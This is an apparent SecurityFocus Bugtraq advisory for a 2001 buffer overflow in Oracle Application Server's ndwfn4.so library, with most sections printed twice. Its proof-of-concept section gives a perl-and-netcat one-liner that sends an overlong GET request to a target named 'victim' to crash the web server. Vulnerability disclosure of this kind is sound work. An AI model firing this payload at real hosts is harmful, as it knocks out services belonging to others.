Oracle Application Server ndwfn4.so buffer overflow
BID:2569
Info
Oracle Application Server ndwfn4.so buffer overflow
| Bugtraq ID: | 2569 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2001-0419 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 11 2001 12:00AM |
| Updated: | Jul 11 2009 06:06AM |
| Credit: | This vulnerability was discovered by Fyodor Yarochkin <mailto:[email protected]> and made public in S.A.F.E.R. advisory 0016. |
| Vulnerable: |
Oracle Application Server 4.0.8 .2 |
| Not Vulnerable: | |
Discussion
Oracle Application Server ndwfn4.so buffer overflow
The shared library 'ndwfn4.so' that ships with Oracle Application Server is vulnerable to a buffer overflow. The library is used to handle web requests passed to it by the iPlanet web server. If the library is sent a request longer than approximately 2050 characters, it will overflow.
A request string could be constructed to trigger the overflow and allow a malicious remote user to execute unprivileged arbitrary code. No exploit is publically available.
The shared library 'ndwfn4.so' that ships with Oracle Application Server is vulnerable to a buffer overflow. The library is used to handle web requests passed to it by the iPlanet web server. If the library is sent a request longer than approximately 2050 characters, it will overflow.
A request string could be constructed to trigger the overflow and allow a malicious remote user to execute unprivileged arbitrary code. No exploit is publically available.
Exploit / POC
Oracle Application Server ndwfn4.so buffer overflow
Assuming the OAS prefix is /jsp/ and the vulnerable host is 'victim', the following command issued by the attacker will cause the iWS to coredump:
perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80
Assuming the OAS prefix is /jsp/ and the vulnerable host is 'victim', the following command issued by the attacker will cause the iWS to coredump:
perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80
Solution / Fix
Oracle Application Server ndwfn4.so buffer overflow
Solution:
Oracle has been notified by S.A.F.E.R., but currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Oracle has been notified by S.A.F.E.R., but currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Oracle Application Server ndwfn4.so buffer overflow
References:
References:
- Oracle Application Server Home Page (Oracle)
- S.A.F.E.R. Security Bulletin 0016 (S.A.F.E.R.)